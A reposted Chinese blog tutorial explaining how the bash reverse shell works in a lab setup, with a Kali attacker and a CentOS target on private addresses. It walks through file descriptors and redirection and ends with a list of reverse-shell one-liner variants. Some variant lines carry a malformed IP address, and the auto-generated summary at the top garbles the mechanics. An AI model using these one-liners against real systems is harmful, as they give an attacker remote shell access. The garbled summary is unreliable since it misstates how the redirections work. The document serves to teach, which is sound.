[转帖]Linux之bash反弹shell原理浅析

linux,bash,反弹,shell,原理,浅析 · 浏览次数 : 0

小编点评

## 标准错误输出合并到标准输出中 ### bash -i>/dev/tcp/192.168.25.140/9999<&2 **主要功能:** 1. 使用 `bash -i` 命令打开标准输入 2. 使用 `>` 将标准输出合并到 `/dev/tcp/192.168.25.140/9999` 中 3. 使用 `<&` 将标准输入从 `/dev/tcp/192.168.25.140/9999` 中读取 4. 使用 `2` 将 `/dev/tcp/192.168.25.140/9999` 中的标准输出读到标准输入中 **效果:** 1. 命令回显到攻击机上 2. 命令执行完本文不会影响标准错误输出 3. 命令执行完本文会实现闭合,防止反弹 **其他:** * 以上内容主要借鉴了 `xz.aliyun.com`、`gnu.org` 和 `00theway.org` 的内容 * 命令中使用了 `bash -i` 和 `>` 的功能 * 命令执行完本文会实现闭合,防止反弹

正文

 

 

环境

攻击机:kali            ip:192.168.25.144

靶    机:centos      ip:192.168.25.142

 

过程

kali 监听本地8888端口

靶机 centos 写入 反弹shell 的命令

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

 

攻击机 kali 成功反弹shell

 

原理

反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互

 

我们将命令拆开

bash -i 
/dev/tcp/192.168.25.144/8888
 >&   0>&1

 

bash

Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径

常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途

查询当前shell命令    ls -l /bin/sh

 

bash -i  打开一个交互式的bash            shell 如果有 -i 参数,就是交互式的

交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的

使用命令  echo $-  可以查看是否是交互式shell

     有参数  i ,是交互式的

执行一个shell脚本

  无参数 i ,非交互式

 

/dev目录

dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件

 /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP连接

 

文件描述符

Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向

 

标准输入(stdin):           代码为  0     使用 < 或 <<          默认设备键盘

标准输出(stdout):         代码为  1     使用 > 或 >>          默认设备显示器

标准错误输出(stderr):  代码为   2    使用 2> 或 2>>      默认设备显示器

  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0| 当开启一个终端时 默认的文件描述符 指向 /dev/tty0(虚拟终端)
  3. --- +--------+
  4. --- +--------+
  5. ( 1 ) ---->|dev/tty0|
  6. --- +--------+
  7. --- +--------+
  8. ( 2 ) ---->|dev/tty0|
  9. --- +--------+

大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端

 

 

 

Shell 输入/输出重定向

 

我们让上图  输出重定向

使用    1>    将输出结果写入到 指定文件中    文件不存在则创建文件,文件如果存在会覆盖原文件内容

省略不写则默认就是 1       同理,输入重定向  0<   省略不写则默认就是 0

 

使用  >>   会追内容在文件末尾

 

 

 

结合上面建立的TCP连接

kali攻击机收到

 

 

结合bash -i

在kali得到命令执行结果的回显

此时我们输入name,可以看到,标准输出错误并未被重定向

  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0|
  3. --- +--------+
  4. --- +--------+ +------------------+
  5. ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
  6. --- +--------+ +------------------+
  7. --- +--------+
  8. ( 2 ) ---->|dev/tty0|
  9. --- +--------+

 

 

输入重定向

 

在kali攻击机,输入

靶机得到输入指令,标准输出(默认终端)

  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0|\
  3. --- +--------+ \
  4. \
  5. --- +--------+ ----> +------------------+
  6. ( 1 ) ---->|dev/tty0| |/dev/tcp/host/port|
  7. --- +--------+ +------------------+
  8. --- +--------+
  9. ( 2 ) ---->|dev/tty0|
  10. --- +--------+

!!!!!!!!!!!!!!!

此时,我们只需要将

bash i  > /dec/tcp/192.168.25.144/8888  和   bash i  <  /dec/tcp/192.168.25.144/8888  结合

实现在攻击机 kali 输入 命令,在kali 机 得到命令回显,实现了反弹shell

即 使用下面的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>&1

 

效果     kali   ip:192.168.25.140 

此时靶机会输出在攻击机所输入的命令,还有一个问题,标准错误输出 并没有重定向

补充:

bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,存在多个则从左往右依次执行

 

标准输出与标准错误输出重定向

此时反弹shell语句里边用到了  >&    操作符,>&  操作符在不同情况下有不通的含义

在   >&word  语法中,当word是数字或  字符时,操作符  >&   表示复制 文件描述符 

    而文件描述符的复制格式有     num1<&num2  和 num1>&num2 

    这里两个都是将文件描述符 num1 复制到 num2 ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

    因此 num1<&num2  和 num1>&num2 是等价的(读/写方式打开对其没有任何影响)

    所以上述命令可以修改为     bash -i > /dev/tcp/192.168.25.144/8888 0<&1

 

   所以    0>&1  或者   0<&1

   是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置

   此时1[标准输出]指向的是socket连接文件(第一个  >   )

   重定向完成后,0[标准输入]也指向了socket连接文件,所以我推测因为拷贝,所以原标准输出回显到靶机上(kali上敲的命  令)

  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0|\
  3. --- +--------+ \
  4. \
  5. --- +--------+ ----> +------------------+
  6. ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
  7. --- +--------+ +------------------+
  8. --- +--------+
  9. ( 2 ) ---->|dev/tty0|
  10. --- +--------+

此时标准错误输出 依然未曾改变

 

 

在   >&word  语法中,当word不是数字或  -  字符时    >&  表示将 标准错误输出合并到标准输出中

     此时与操作符   &> 功能一样     >&word 等价于 &> word       都相当于        > word  2>&1
 

    当执行 bash -i  > /dev/tcp/192.168.25.140/9999 0>&1   命令时,效果如下 标准输出错误并未被重定向

     

    所以我们执行命令   bash -i  > /dev/tcp/192.168.25.140/9999 0>&1 2>&1   或

    bash -i  >& /dev/tcp/192.168.25.140/9999 0>&1       均形成了一个闭合的回路  ,同样,命令回显到攻击机上

   

  实现以下效果形成闭合,即可反弹shell ,而其他一些反弹命令,只要可以形成如下效果即可

  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0|\
  3. --- +--------+ \
  4. \
  5. --- +--------+ ----> +------------------+
  6. ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
  7. --- +--------+ ----> +------------------+
  8. /
  9. --- +--------+ /
  10. ( 2 ) ---->|dev/tty0| /
  11. --- +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i  > /dev/tcp/192.168.25.144/8888 0>&1 2>&1

 

 

 

本文借鉴了很多大佬的博客,如有更正的地方。还望指出

 

 

参考链接:

https://xz.aliyun.com/t/2549

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

http://wiki.bash-hackers.org/howto/redirection_tutorial

https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

 

与[转帖]Linux之bash反弹shell原理浅析相似的内容:

[转帖]Linux之bash反弹shell原理浅析

环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击

[转帖]Linux之Shell 脚本执行三种方式

什么是Shell? Shell是用户与内核进行交互操作的一种接口,目前最流行的Shell称为bash ShellShell也是一门编程语言<解释型的编程语言>,即shell脚本一个系统可以存在多个shell,可以通过cat /etc/shells命令查看系统中安装的shell,不同的shell可能支

[转帖]Linux之fstab文件详解

https://blog.yelvlab.cn/archives/592/ fstab文件是干什么用的: /etc/fstab是用来存放文件系统的静态信息的文件。位于/etc/目录下,可以用命令less /etc/fstab 来查看,如果要修改的话,则用命令 vi /etc/fstab 来修改。当系

[转帖]Linux之系统参数overcommit_memory

https://www.modb.pro/db/25980 前言:作为DBA,内存的使用情况是重要的监控指标之一,了解内存使用很重要。下面有一个系统参数,对于内存的调用起到重要的作用。大家可以了解一下。 参数overcommit_memory:overcommit的中文意思是过量使用,那overco

[转帖]Linux之/etc/fstab文件讲解

https://www.cnblogs.com/FengGeBlog/p/10178824.html /etc/fstab是用来存放文件系统的静态信息的文件。位于/etc/目录下,可以用命令less /etc/fstab 来查看,如果要修改的话,则用命令 vi /etc/fstab 来修改。当系统启

[转帖]Linux之pure-ftpd安装和使用

一、pure-ftpd简介 PureFTPd是一款专注于程序健壮和软件安全的免费FTP服务器软件(基于BSD License),以安全和配置简单为设计目标,支持虚拟主机,IPV6,PAM等功能。。其可以在多种类Unix操作系统中编译运行,包括Linux、OpenBSD、NetBSD、FreeBSD、

[转帖]linux之iftop命令

https://rumenz.com/rumenbiji/linux-iftop.html Linux安装iftop > yum install iftop -y > iftop 界面如下 界面参数说明 =>代表发送数据 <=代表接收数据 TX:发送流量 RX:接收流量 TOTAL:总流量 Cumm

[转帖]Linux中的grep -v、-e、-E用法小结

https://www.jb51.net/article/266590.htm grep是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来,这篇文章主要介绍了Linux之grep -v、-e、-E用法总结,需要的朋友可以参考下 + 目录 简介 grep (global sea

[转帖]Linux工具之nethogs命令

一、nethogs命令简介 NetHogs是一个小型的net top工具,不像大多数工具那样拖慢每个协议或者是每个子网的速度而是按照进程进行带宽分组。NetHogs不需要依赖载入某个特殊的内核模块。如果发生了网络阻塞你可以启动NetHogs立即看到哪个PID造成的这种状况。这样就很容易找出哪个程序跑

[转帖]Linux命令之strace命令

一、命令简介 strace是一个有用的诊断、指导和调试工具。系统管理员、诊断专家和故障解决人员将发现,对于解决源代码不易获得的程序的问题,这是非常宝贵的,因为它们不需要重新编译以跟踪它们。学生、黑客和过分好奇的人会发现,通过跟踪甚至是普通程序,可以了解到大量关于系统及其系统调用的信息。程序员会发现,